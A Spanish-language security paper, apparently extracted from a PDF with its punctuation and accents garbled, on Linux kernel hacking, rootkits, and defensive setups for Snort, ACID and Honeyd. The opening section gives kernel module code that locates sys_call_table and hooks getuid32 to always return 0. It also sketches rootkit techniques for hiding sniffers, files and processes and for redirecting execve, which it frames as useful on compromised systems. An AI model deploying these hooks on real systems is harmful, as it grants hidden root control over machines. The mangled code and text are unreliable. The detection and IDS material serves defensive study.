include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct

unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2

__attribute__ ((packed)) idt

IDTR struct

unsigned short limit unsigned int base

__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)

return 0 el hack static void syscalltable(void)

unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))

printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]

memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn

verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))

i++ sys_call_table =(void) ((int ) ampsccall[i+3])

printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P

Kernel hacks y seguridad JMP

empieza static int __init buscarsct(void)

printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)

syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]

sys_call_table[__NR_getuid32]=cero_uidreturn 0

lo ponemos todo en orden static void __exit descarga(void)

sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)

module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])

Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores

81- Otra alternativa iquestmaacutes sencilla

Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos

No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno

La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora

Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos

usrsrclinuxincludeasm $ vim processorh

Kernel hacks y seguridad JMP

1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la

Sys_call_table[])

Kernel hacks y seguridad JMP

Imagen conceptual del proceso

Kernel hacks y seguridad JMP

9- Hooks y hacks de intereacutes (algunas ideas)

Algunas cosas que podemos hacer en el Kernel

Ocultar un sniffer

Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos

Ocultar ficheros y procesos

iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )

Manipular execve()

Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno

usrsrclinuxincludeasm $ vim unistdh

En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute

Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original

Kernel hacks y seguridad JMP

inicio

int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)

0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))

__syscall_return(long__res)

final

Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM

10- Rootkits visioacuten general

Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host

Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red

De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas

Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute

Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros

Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad

Kernel hacks y seguridad JMP

Ejemplo de un rootkit moderno ldquoAdore-ngrdquo

Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso

Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente

Runs on kernel 24x UP and SMP systems

First test-versions successfully run on 260

File and directory hiding

Process hiding

Socket-hiding (no matter whether LISTENing CONNECTED etc)

Full-capability back door

Does not utilize sys_call_table but VFS layer

KISS principle to have as less things in there as possible but also being as much powerful as possible

Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y

Kernel hacks y seguridad JMP

carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore

La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes

Adore ~034 SucKIT Adore-ng gt=131

Interceptando el flujo de ejecucioacuten

Syscalltable Syscall handler VFS

Transferencia coacutedigo dentro del Kernel

LKM Acceso directo (raw shycrudo) a memoria

LKM

Incluye puerta trasera - Siacute -

Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs

Tabla Comparativa de algunos rootkits

Medidas de proteccioacuten y deteccioacuten de rootkits

Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas

Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten

Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap

linux head Systemmap

00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt

Kernel hacks y seguridad JMP

Otros meacutetodos tiacutepicos

Checksums de ficheros importantes (tripwire aide etc)

Backup de las estructuras centrales del kernel (kstat)

LKMs anti-rootkit

Herramientas forenses (TCT)

Analisis de logs etc

Utilidades para la deteccioacuten (rkhunter chkrootkit)

Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas

httpwwwchkrootkitorg

httpwwwrootkitorg

Conclusiones

Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante

Kernel hacks y seguridad JMP

Snort el cerdito valiente

SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red

Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias

Wreski y Christopher Pallack en Linuxsecuritycom

ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated

Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular

root emerge -pv snort

These are the packages that I would merge in order

Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB

Total size of downloads 0 kB

No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL

httpwwwsnortorgdl

Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio

2- Configuracioacuten baacutesica de Snort

Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de

Kernel hacks y seguridad JMP

Snort Dicho fichero se puede encontrar en

etcsnortsnortconf

pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro

Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso

El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria

Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero

1 Establecer las variables para nuestra red

2 Configurar el preprocesador de Snort

3 Configurar los plugins de salida

4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort

5 Personalizar nuestro set de reglas para Snort

La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea

Paso 1

Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario

Kernel hacks y seguridad JMP

var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS

Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes

var HOME_NET 1921681124

Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo

var EXTERNAL_NET any

Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay

var DNS_SERVERS $HOME_NET

var SMTP_SERVERS $HOME_NET

[]

Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten

var HTTP_PORTS 80 var BO-BACKDOOR 31337

var NO_SSH 22 include mis_directivasrules

Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar

config detection search-method lowmem

Paso 2

Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas

Por ejemplo preprocessor frag2

Kernel hacks y seguridad JMP

preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies

Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo

preprocessor stream4 detect_scans

preprocessor stream4_reassemble

Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados

A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto

Paso 3

Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema

Paso 4

Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados

Paso 5

Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo

3- Descargando nuevas reglas desde Internet

Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es

httpwwwsnortorgrules

yo

Kernel hacks y seguridad JMP

httpwwwsnortorgpub-bindownloadscgi

Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar

Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto

4- Prevencioacuten de intrusiones

Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort

Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ

Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway

httpsnort-inlinesourceforgenet (configure - -enable-inline)

Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado

Kernel hacks y seguridad JMP

Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red

httpwwwsnortsamnet

5- Usando ACID + SNORT

Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web

Kernel hacks y seguridad JMP

La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten

httpacidlabsourceforgenet

La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo

Luego necesitaremos a ser posible

Apache soporte GD OpenSSL MySQL

PHP soporte GD OpenSSL MySQL

MySQL

ACID soporte adodb jpgraph phplot GD

Y claro esta Snort con soporte para MySQL

Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios

Ejemplo

$ mysql -u root -p

mysql gt CREATE DATABASE snort

mysql gt GRANT ALL ON snort to rootlocalhost identified by password

$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort

Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias

Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid

Alert DB connection parameters

Kernel hacks y seguridad JMP

- $alert_dbname MySQL database name of Snort alert DB

- $alert_host host on which the DB is stored

- $alert_port port on which to access the DB

- $alert_user login to the database with this user

- $alert_password password of the DB user

This information can be gleaned from the Snort database

output plugin configuration

$alert_dbname = snort_log

$alert_host = localhost

$alert_port =

$alert_user = root

$alert_password = mypassword

Archive DB connection parameters

$archive_dbname = snort_archive

$archive_host = localhost

$archive_port =

$archive_user = root

$archive_password = mypassword

Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort

Kernel hacks y seguridad JMP

Creacioacuten de reglas propias para Snort

Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones

CABECERA

Accioacuten de la regla alert

Protocolo tcp udp

Direccion IP origen $EXTERNAL_NET

Puerto IP origen any

Direccion IP destino $HOME_NET

Puerto IP destino any

Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)

OPCIONES

Mensaje ldquohola directivardquo

Opciones flags Aack 0 reference

Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)

El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort

Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg

Conclusiones

Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro

Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales

Kernel hacks y seguridad JMP

Honeypots

Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos

Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema

Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

